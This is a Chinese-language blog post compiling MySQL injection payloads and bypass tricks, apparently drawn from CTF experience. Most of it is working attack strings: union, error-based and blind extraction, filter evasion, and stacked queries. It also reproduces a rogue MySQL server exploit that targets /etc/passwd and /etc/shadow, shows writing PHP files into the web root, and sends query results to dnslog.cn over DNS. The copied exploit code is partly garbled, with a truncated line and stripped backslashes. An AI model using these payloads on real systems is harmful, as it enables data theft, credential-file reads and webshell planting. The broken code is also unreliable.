SQL注入基础整理及Tricks总结

 

前言：对已知的SQL注入手段作了较为全面和详尽的整理，大概是我几年的全部积累了，虽然可能有许多遗漏的地方，但我相信还是很有参考价值的。

本文的注入场景为：

 

 

一、基础注入

1.联合查询

即最常见的union注入：

若前面的查询结果不为空，则返回两次查询的值：

 

若前面的查询结果为空，则只返回union查询的值：

查完数据库接下来就要查表名：

' union select group_concat(table_name) from information_schema.tables where table_schema=database()%23

接下来是字段名：

' union select group_concat(column_name) from information_schema.columns where table_name='table1'%23

 

得到字段名后查询相应字段：

' union select flag from table1%23

 

一个基本的SQL注入过程就结束了。

2.报错注入

报错注入是利用mysql在出错的时候会引出查询信息的特征，常用的报错手段有如下10种：

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

效果：

 

3.布尔盲注

常见的布尔盲注场景有两种，一是返回值只有True或False的类型，二是Order by盲注。

返回值只有True或False的类型

如果查询结果不为空，则返回True（或者是Success之类的），否则返回False

这种注入比较简单，可以挨个猜测表名、字段名和字段值的字符，通过返回结果判断猜测是否正确

例：parameter=’ or ascii(substr((select database()) ,1,1))<115—+

Orderby盲注

order by rand(True)和order by rand(False)的结果排序是不同的，可以根据这个不同来进行盲注：

例：

order by rand(database()='pdotest')

 

返回了True的排序，说明database()=’pdotest’是正确的值

4.时间盲注

其实大多数页面，即使存在sql注入也基本是不会有回显的，因此这时候就要用延时来判断查询的结果是否正确。

常见的时间盲注有5种：

1.sleep(x)

id=' or sleep(3)%23

id=' or if(ascii(substr(database(),1,1))>114,sleep(3),0)%23

查询结果正确，则延迟3秒，错误则无延时。

2.benchmark()

通过大量运算来模拟延时：

id=' or benchmark(10000000,sha(1))%23

id=' or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23

本地测试这个值大约可延时3秒：

3.笛卡尔积

计算笛卡尔积也是通过大量运算模拟延时：

select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C

select balabala from table1 where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)

笛卡尔积延时大约也是3秒

4.get_lock

属于比较鸡肋的一种时间盲注，需要两个session，在第一个session中加锁：

select get_lock('test',1)

 

然后再第二个session中执行查询：

select get_lock('test',5)

另一个窗口：

 

5.rlike+rpad

rpad(1,3,’a’)是指用a填充第一位的字符串以达到第二位的长度
经本地测试mysql5.7最大允许用单个rpad()填充349525位，而多个rpad()可以填充4个349525位，
因此可用：

select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asdasdsadasd',1);

以上所写是本地测试的最大填充长度，延时0.3秒，最后的asdasdasd对时间长度有巨大影响，可以增长其长度以增大时延
这个长度大概是1秒：

select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd',1);

这个长度大概是2秒：

select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1);

5.HTTP头注入

用于在cookie或referer中存储数据的场景，通常伴随着base64加密或md5等摘要算法，注入方式与上述相同。

6.HTTP分割注入

如果存在一个登录场景，参数为username&password

查询语句为select xxx from xxx where username=’xxx’ and password=’xxx’

但是username参数过滤了注释符，无法将后面的注释掉，则可尝试用内联注释把password注释掉，凑成一条新语句后注释或闭合掉后面的语句：

例如实验吧加了料的报错注入：

（来源：https://www.cnblogs.com/s1ye/p/8284806.html）

这样就凑成了如下的语句,将password参数直接注释掉：

select * from users where username='1' or extractvalue/*'and password='1*/(1,concat(0x7e,(select database()),0x7e))) or '';

当然这种注入的前提是单引号没有被过滤。如果过滤不太多的话，其实也有很多其他的方式如：

POST username=1' or if(ascii(substr(database(),1,1))=115,sleep(3),0) or '1&password=1
凑成：
select * from users where username='1' or if(ascii(substr(database(),1,1))>0,sleep(3),0) or '1' and password='1'

还有一个例子是GYCTF中的一道sql注入题，通过注入来登录：

 

过滤了空格,union,#,—+,/*,^,or,|

这样上面用类似or ‘1’=’1’万能钥匙的方式来注入就不太可能了。

可以考虑将password作为函数的参数来闭合语句：

username=admin'and(strcmp(&password=,'asdasdasdasdasdasd'))and'1
这样凑成：
select username from users where username='admin'and(strcmp('and password=','asdasdasdasdasdasd'))and'1'

strcmp比较，二者不一致返回True，一致返回False，而MySQL会将’1’判断为数字1，即True，因此该查询语句结果为True

7.二次注入

二次注入就是攻击者构造的恶意payload首先会被服务器存储在数据库中，在之后取出数据库在进行SQL语句拼接时产生的SQL注入问题

假如登录/注册处的SQL语句没有可以注入的地方，并将username储存在session中，而在登录之后页面查询语句没有过滤，为：

select * from users where username=’$_SESSION[‘username’]’

则我们在注册的时候便可将注入语句写入到session中，在登录后再查询的时候则会执行SQL语句：

如username=admin’#，登录后查询语句为：

select * from users where username='admin' #'

就构成了SQL注入。

8.SQL约束攻击

假如注册时username参数在mysql中为字符串类型，并且有unique属性，设置了长度为VARCHAR(20)。

则我们注册一个username为admin[20个空格]asd的用户名，则在mysql中首先会判断是否有重复，若无重复，则会截取前20个字符加入到数据库中，所以数据库存储的数据为admin[20个空格]，而进行登录的时候，SQL语句会忽略空格，因此我们相当于覆写了admin账号。

 

二、基础绕过

1.大小写绕过

用于过滤时没有匹配大小写的情况：

SelECt * from table;

2.双写绕过

用于将禁止的字符直接删掉的过滤情况如：

preg_replace(‘/select/‘,’’,input)

则可用seselectlect from xxx来绕过，在删除一个select后剩下的就是select from xxx

3.添加注释

/*! */类型的注释，内部的语句会被执行

本地mysql5.7测试通过：

 

可以用来绕过一些WAF，或者绕过空格

但是，不能将关键词用注释分开，例如下面的语句是不可以执行的（或者说只能在某些较老的版本执行）：

select bbb from table1 where balabala='' union se/*!lect database()*/;

4.使用16进制绕过特定字符

如果在查询字段名的时候表名被过滤，或是数据库中某些特定字符被过滤，则可用16进制绕过：

select column_name from information_schema.columns where table_name=0x7573657273;

0x7573657273为users的16进制

5.宽字节、Latin1默认编码

宽字节注入

用于单引号被转义，但编码为gbk编码的情况下，用特殊字符将其与反斜杠合并，构成一个特殊字符：

username = %df'#
经gbk解码后变为：
select * from users where username ='運'#

成功闭合了单引号。

Latin1编码

Mysql表的编码默认为latin1，如果设置字符集为utf8，则存在一些latin1中有而utf8中没有的字符，而Mysql是如何处理这些字符的呢？直接忽略

于是我们可以输入?username=admin%c2，存储至表中就变为了admin

上面的%c2可以换为%c2-%ef之间的任意字符

6.各个字符以及函数的代替

数字的代替：

摘自MySQL注入技巧

代替字符	数	代替字符	代替的数	数、字	代替的数
false、!pi()	0	ceil(pi()*pi())	A	ceil((pi()+pi())*pi())	K
true、!(!pi())	1	ceil(pi()*pi())+true	B	ceil(ceil(pi())*version())	L
true+true	2	ceil(pi()+pi()+version())	C	ceil(pi()*ceil(pi()+pi()))	M
floor(pi())、~~pi()	3	floor(pi()*pi()+pi())	D	ceil((pi()+ceil(pi()))*pi())	N
ceil(pi())	4	ceil(pi()*pi()+pi())	E	ceil(pi())*ceil(version())	O
floor(version()) //注意版本	5	ceil(pi()*pi()+version())	F	floor(pi()*(version()+pi()))	P
ceil(version())	6	floor(pi()*version())	G	floor(version()*version())	Q
ceil(pi()+pi())	7	ceil(pi()*version())	H	ceil(version()*version())	R
floor(version()+pi())	8	ceil(pi()*version())+true	I	ceil(pi()pi()pi()-pi())	S
floor(pi()*pi())	9	floor((pi()+pi())*pi())	J	floor(pi()pi()floor(pi()))	T

其中!(!pi())代替1本地测试没有成功，还不知道原因。

常用字符的替代

and -> &&
or -> ||
空格-> /**/ -> %a0 -> %0a -> +
# -> --+ -> ;%00(php<=5.3.4) -> or '1'='1
= -> like -> regexp -> <> -> in
注：regexp为正则匹配，利用正则会有些新的注入手段

常用函数的替代

字符串截取/拼接函数：

摘自https://xz.aliyun.com/t/7169

函数	说明
SUBSTR(str,N_start,N_length)	对指定字符串进行截取，为SUBSTRING的简单版。
SUBSTRING()	多种格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)。
RIGHT(str,len)	对指定字符串从最右边截取指定长度。
LEFT(str,len)	对指定字符串从最左边截取指定长度。
RPAD(str,len,padstr)	在 str 右方补齐 len 位的字符串 padstr，返回新字符串。如果 str 长度大于 len，则返回值的长度将缩减到 len 所指定的长度。
LPAD(str,len,padstr)	与RPAD相似，在str左边补齐。
MID(str,pos,len)	同于 SUBSTRING(str,pos,len)。
INSERT(str,pos,len,newstr)	在原始字符串 str 中，将自左数第 pos 位开始，长度为 len 个字符的字符串替换为新字符串 newstr，然后返回经过替换后的字符串。INSERT(str,len,1,0x0)可当做截取函数。
CONCAT(str1,str2…)	函数用于将多个字符串合并为一个字符串
GROUP_CONCAT(…)	返回一个字符串结果，该结果由分组中的值连接组合而成。
MAKE_SET(bits,str1,str2,…)	根据参数1，返回所输入其他的参数值。可用作布尔盲注，如：EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710'))。

函数/语句	说明
LENGTH(str)	返回字符串的长度。
PI()	返回π的具体数值。
REGEXP “statement”	正则匹配数据，返回值为布尔值。
LIKE “statement”	匹配数据，%代表任意内容。返回值为布尔值。
RLIKE “statement”	与regexp相同。
LOCATE(substr,str,[pos])	返回子字符串第一次出现的位置。
POSITION(substr IN str)	等同于 LOCATE()。
LOWER(str)	将字符串的大写字母全部转成小写。同：LCASE(str)。
UPPER(str)	将字符串的小写字母全部转成大写。同：UCASE(str)。
ELT(N,str1,str2,str3,…)	与MAKE_SET(bit,str1,str2...)类似，根据N返回参数值。
NULLIF(expr1,expr2)	若expr1与expr2相同，则返回expr1，否则返回NULL。
CHARSET(str)	返回字符串使用的字符集。
DECODE(crypt_str,pass_str)	使用 pass_str 作为密码，解密加密字符串 crypt_str。加密函数：ENCODE(str,pass_str)。

7.逗号被过滤

用join代替：
-1 union select 1,2,3
-1 union select * from (select 1)a join (select 2)b join (select 3)c%23

limit：
limit 2,1
limit 1 offset 2

substr:
substr(database(),5,1)
substr(database() from 5 for 1) from为从第几个字符开始，for为截取几个
substr(database() from 5)
如果for也被过滤了
mid(REVERSE(mid(database()from(-5)))from(-1)) reverse是反转，mid和substr等同

if:
if(database()=’xxx’,sleep(3),1)
id=1 and databse()=’xxx’ and sleep(3)
select case when database()=’xxx’ then sleep(5) else 0 end

8.limit被过滤

select user from users limit 1

加限制条件，如：

select user from users group by user_id having user_id = 1 (user_id是表中的一个column)

9.information_schema被过滤

innodb引擎可用mysql.innodb_table_stats、innodb_index_stats，日志将会把表、键的信息记录到这两个表中

除此之外，系统表sys.schema_table_statistics_with_buffer、sys.schema_auto_increment_columns用于记录查询的缓存，某些情况下可代替information_schema

10.and or && ||被过滤

可用运算符! ^ ~以及not xor来代替：

例如：

真^真^真=真

真^假^真=假

真^(!(真^假))=假
……

等等一系列组合

eg: select bbb from table1 where ‘29’=’29’^if(ascii(substr(database(),1,1))>0,sleep(3),0)^1;

真则sleep(3)，假则无时延

 

三、特定场景的绕过

1.表名已知字段名未知的注入

join注入得到列名：

条件：有回显（本地尝试了下貌似无法进行时间盲注，如果有大佬发现了方法可以指出来）

第一个列名：

select * from(select * from table1 a join (select * from table1)b)c

第二个列名：

select * from(select * from table1 a join (select * from table1)b using(balabala))c

第三个列名：

select * from(select * from table1 a join (select * from table1)b using(balabala,eihey))c

以此类推……

在实际应用的的过程中，该语句可以用于判断条件中：

类似于select xxx from xxx where ‘1’=’1’ and 语句=’a’

join利用别名直接注入：

上述获取列名需要有回显，其实不需要知道列名即可获取字段内容：

采用别名：union select 1,(select b.2 from (select 1,2,3,4 union select * from table1)b limit 1,1),3

该语句即把(select 1,2,3,4 union select * from users)查询的结果作为表b，然后从表b的第1/2/3/4列查询结果

当然，1,2,3,4的数目要根据表的列名的数目来确定。

select * from table1 where '1'='' or if(ascii(substr((select b.2 from (select 1,2,3,4 union select * from table1)b limit 3,1),1,1))>1,sleep(3),0)

2.堆叠注入&select被过滤

select被过滤一般只有在堆叠注入的情况下才可以绕过，除了极个别不需要select可以直接用password或者flag进行查询的情况

在堆叠注入的场景里，最常用的方法有两个：

1.预编译：

没错，预编译除了防御SQL注入以外还可以拿来执行SQL注入语句，可谓双刃剑：

id=1';Set @x=0x31;Prepare a from “select balabala from table1 where 1=?”;Execute a using @x;

或者：

set @x=0x73656c6563742062616c6162616c612066726f6d207461626c653120776865726520313d31;prepare a from @x;execute a;

上面一大串16进制是select balabala from table1 where 1=1的16进制形式

2.Handler查询

Handler是Mysql特有的轻量级查询语句，并未出现在SQL标准中，所以SQL Server等是没有Handler查询的。

Handler查询的用法：

handler table1 open as fuck;//打开句柄

handler fuck read first;//读所有字段第一条

handler fuck read next;//读所有字段下一条

……

handler fuck close;//关闭句柄

3.PHP正则回溯BUG

PHP为防止正则表达式的DDos，给pcre设定了回溯次数上限，默认为100万次，超过这个上限则未匹配完，则直接返回False。

例如存在preg_match(“/union.+?select/ig”,input)的过滤正则，则我们可以通过构造

union/*100万个1*/select

即可绕过。

4.PDO场景下的SQL注入

PDO最主要有下列三项设置：

PDO::ATTR_EMULATE_PREPARES

PDO::ATTR_ERRMODE

PDO::MYSQL_ATTR_MULTI_STATEMENTS

第一项为模拟预编译，如果为False，则不存在SQL注入；如果为True，则PDO并非真正的预编译，而是将输入统一转化为字符型，并转义特殊字符。这样如果是gbk编码则存在宽字节注入。

第二项为报错，如果设为True，可能会泄露一些信息。

第三项为多句执行，如果设为True，且第一项也为True，则会存在宽字节+堆叠注入的双重大漏。

详情请查看我的另一篇文章：

从宽字节注入认识PDO的原理和正确使用

5.Limit注入（5.7版本已经废除）

适用于5.0.0-5.6.6版本

如果存在一条语句为

select bbb from table1 limit 0,1

后面接可控参数，则可在后面接union select：

select bbb from table1 limit 0,1 union select database();

如果查询语句加入了order by：

select bbb from table1 order by balabala limit 0,1

，则可用如下语句注入：

select bbb from table1 order by balabala limit 0,1 PROCEDURE analyse(1,1)

其中1可换为其他盲注的语句

6.特殊的盲注

（1）查询成功与mysql error

与普通的布尔盲注不同，这类盲注只会回显执行成功和mysql error，如此只能通过可能会报错的注入来实现，常见的比较简单的报错函数有：

整数溢出：cot(0), pow(999999,999999), exp(710)

几何函数：polygon(ans), linestring(ans)

因此可以按照下面的逻辑来构造语句：

parameter=1 and 语句 or cot(0)

若语句为真，则返回正确结果并忽略后面的cot(0)；语句为假，则执行后面的cot(0)报错

 

无回显的情况：

select * from table1 where 1=1 and if(mid(user(),1,1)='r',benchmark(10000000,sha1(1)),1) and cot(0);
或
select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1) and cot(0);

用rpad+rlike以及benchmark的时间盲注可以成功，但是sleep()不可以，不太清楚原因。

（2）mysql error的前提下延时与不延时

这个看起来有点别扭，就是不管查询结果对还是不对，一定要mysql error

还是感觉很别扭吧……网鼎杯web有道题就是这样的场景，insert注入但是只允许插入20条数据，所以不得不构造mysql error来达到在不插入数据的条件下盲注的目的。详情见网鼎杯Writeup+闲扯

有个很简单的方法当时没有想到，就是上面rpad+rlike的时间盲注，因为当时sleep测试是没法盲注的，但是没有测试rpad+rlike的情况，这个方法就是：

假 or if(语句,rpad延时语句=’a’,1) and cot(0)

这样，无论语句是真是假，都会向后执行cot(0)，必然报错

如果语句为真，则延时，如果语句为假，则不延时，这就完美的达到了目的

payload：

select * from table1 where 1=0 or if(mid(user(),1,1)='s','a'=benchmark(1000000,sha1(1)),1) and cot(0);
或
select * from table1 where 1=0 or if(mid(user(),1,1)='s','a'=concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1) and cot(0);

当然，比赛时想到的用sleep()的方法也是可以的。

上面提到cot(0)会报错，即cot(False)会报错，所以只要让内部为False则必定会执行

并且我们知道sleep(x)的返回值为0：

 

这样就很好办了，if(语句,sleep(3),0)，这样语句不管为真还是假都返回False

所以构造语句

select * from table1 where '1'='1' and cot(if(ascii(substr(database(),1,1))>0,sleep(3),0));

（3）表名未知

表名未知只能去猜表名，通过构造盲注去猜测表名，这里不再过多赘述。

 

四.文件的读写

1.读写权限

在进行MySQL文件读写操作之前要先查看是否拥有权限，mysql文件权限存放于mysql表的file_priv字段，对应不同的User，如果可以读写，则数据库记录为Y，反之为N：

我们可以通过user()查看当前用户是什么，如果对应用户具有读写权限，则往下看，反之则放弃这条路找其他的方法。

除了要查看用户权限，还有一个地方要查看，即secure-file-priv。它是一个系统变量，用于限制读写功能，它的值有三种：

（1）无内容，即无限制

（2）为NULL，表示禁止文件读写

（3）为目录名，表示仅能在此目录下读写

可用select @@secure_file_priv查看：

此处为Windows环境，可以读写的目录为E:wamp64tmp

2.读文件

如果满足上述2个条件，则可尝试读写文件了。

常用的读文件的语句有如下几种：

select load_file(file_path);
load data infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取服务端文件
load data local infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取客户端文件

需要注意的是，file_path必须为绝对路径，且反斜杠需要转义：

 

3.mysql任意文件读取漏洞

攻击原理详见：https://paper.seebug.org/1112/

exp：

摘自：https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

下面filelist是需要读取的文件列表，需要自行设置，该漏洞需要一个恶意mysql服务端，执行exp监听恶意mysql服务的对应端口，在目标服务器登录恶意mysql服务端

#!/usr/bin/env python
#coding: utf8

import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers

PORT = 3306
log = logging.getLogger(__name__)
log.setLevel(logging.DEBUG)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
    tmp_format
)

filelist = (
#    r'c:boot.ini',
    r'c:windowswin.ini',
#    r'c:windowssystem32driversetchosts',
#    '/etc/passwd',
#    '/etc/shadow',
)

#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
    import os, warnings
    if os.name != 'posix':
        warnings.warn('Cant create daemon on non-posix system')
        return

    if os.fork(): os._exit(0)
    os.setsid()
    if os.fork(): os._exit(0)
    os.umask(0o022)
    null=os.open('/dev/null', os.O_RDWR)
    for i in xrange(3):
        try:
            os.dup2(null, i)
        except OSError as e:
            if e.errno != 9: raise
    os.close(null)

class LastPacket(Exception):
    pass

class OutOfOrder(Exception):
    pass

class mysql_packet(object):
    packet_header = struct.Struct('> 16, 0, self.packet_num)

        result = "{0}{1}".format(
            header,
            self.payload
        )
        return result

    def __repr__(self):
        return repr(str(self))

    @staticmethod
    def parse(raw_data):
        packet_num = ord(raw_data[0])
        payload = raw_data[1:]

        return mysql_packet(packet_num, payload)

class http_request_handler(asynchat.async_chat):

    def __init__(self, addr):
        asynchat.async_chat.__init__(self, sock=addr[0])
        self.addr = addr[1]
        self.ibuffer = []
        self.set_terminator(3)
        self.state = 'LEN'
        self.sub_state = 'Auth'
        self.logined = False
        self.push(
            mysql_packet(
                0,
                "".join((
                    'x0a',  # Protocol
                    '3.0.0-Evil_Mysql_Server' + '',  # Version
                    #'5.1.66-0+squeeze1' + '',
                    'x36x00x00x00',  # Thread ID
                    'evilsalt' + '',  # Salt
                    'xdfxf7',  # Capabilities
                    'x08',  # Collation
                    'x02x00',  # Server Status
                    '' * 13,  # Unknown
                    'evil2222' + '',
                ))
            )
        )

        self.order = 1
        self.states = ['LOGIN', 'CAPS', 'ANY']

    def push(self, data):
        log.debug('Pushed: %r', data)
        data = str(data)
        asynchat.async_chat.push(self, data)

    def collect_incoming_data(self, data):
        log.debug('Data recved: %r', data)
        self.ibuffer.append(data)

    def found_terminator(self):
        data = "".join(self.ibuffer)
        self.ibuffer = []

        if self.state == 'LEN':
            len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
            if len_bytes < 65536:
                self.set_terminator(len_bytes)
                self.state = 'Data'
            else:
                self.state = 'MoreLength'
        elif self.state == 'MoreLength':
            if data[0] != '':
                self.push(None)
                self.close_when_done()
            else:
                self.state = 'Data'
        elif self.state == 'Data':
            packet = mysql_packet.parse(data)
            try:
                if self.order != packet.packet_num:
                    raise OutOfOrder()
                else:
                    # Fix ?
                    self.order = packet.packet_num + 2
                if packet.packet_num == 0:
                    if packet.payload[0] == 'x03':
                        log.info('Query')

                        filename = random.choice(filelist)
                        PACKET = mysql_packet(
                            packet,
                            'xFB{0}'.format(filename)
                        )
                        self.set_terminator(3)
                        self.state = 'LEN'
                        self.sub_state = 'File'
                        self.push(PACKET)
                    elif packet.payload[0] == 'x1b':
                        log.info('SelectDB')
                        self.push(mysql_packet(
                            packet,
                            'xfex00x00x02x00'
                        ))
                        raise LastPacket()
                    elif packet.payload[0] in 'x02':
                        self.push(mysql_packet(
                            packet, 'x02'
                        ))
                        raise LastPacket()
                    elif packet.payload == 'x00x01':
                        self.push(None)
                        self.close_when_done()
                    else:
                        raise ValueError()
                else:
                    if self.sub_state == 'File':
                        log.info('-- result')
                        log.info('Result: %r', data)

                        if len(data) == 1:
                            self.push(
                                mysql_packet(packet, 'x02')
                            )
                            raise LastPacket()
                        else:
                            self.set_terminator(3)
                            self.state = 'LEN'
                            self.order = packet.packet_num + 1

                    elif self.sub_state == 'Auth':
                        self.push(mysql_packet(
                            packet, 'x02'
                        ))
                        raise LastPacket()
                    else:
                        log.info('-- else')
                        raise ValueError('Unknown packet')
            except LastPacket:
                log.info('Last packet')
                self.state = 'LEN'
                self.sub_state = None
                self.order = 0
                self.set_terminator(3)
            except OutOfOrder:
                log.warning('Out of order')
                self.push(None)
                self.close_when_done()
        else:
            log.error('Unknown state')
            self.push('None')
            self.close_when_done()

class mysql_listener(asyncore.dispatcher):
    def __init__(self, sock=None):
        asyncore.dispatcher.__init__(self, sock)

        if not sock:
            self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
            self.set_reuse_addr()
            try:
                self.bind(('', PORT))
            except socket.error:
                exit()

            self.listen(5)

    def handle_accept(self):
        pair = self.accept()

        if pair is not None:
            log.info('Conn from: %r', pair[1])
            tmp = http_request_handler(pair)

z = mysql_listener()
daemonize()
asyncore.loop()

4.写文件

select 1,"" into outfile '/var/www/html/1.php';
select 2,"" into dumpfile '/var/www/html/1.php';

当secure_file_priv值为NULL时，可用生成日志的方法绕过：

set global general_log_file = '/var/www/html/1.php';
set global general_log = on;

日志除了general_log还有其他许多日志，实际场景中需要有足够的写入日志的权限，且需要堆叠注入的条件方可采用该方法，因此利用非常困难。

5.DNSLOG（OOB注入）

若用户访问DNS服务器，则会在DNS日志中留下记录。如果请求中带有SQL查询的信息，则信息可被带出到DNS记录中。

利用条件：

1.secure_file_priv为空且有文件读取权限

2.目标为windows（利用了UNC，Linux不可行）

3.无回显且无法时间盲注

利用方法：

可以找一个免费的DNSlog：http://dnslog.cn/

进入后可获取一个子域名，执行：

select load_file(concat('\\',(select database()),'.子域名.dnslog.cn'));

相当于访问了select database().子域名.dnslog.cn，于是会留下DNSLOG记录，可从这些记录中查看SQL返回的信息。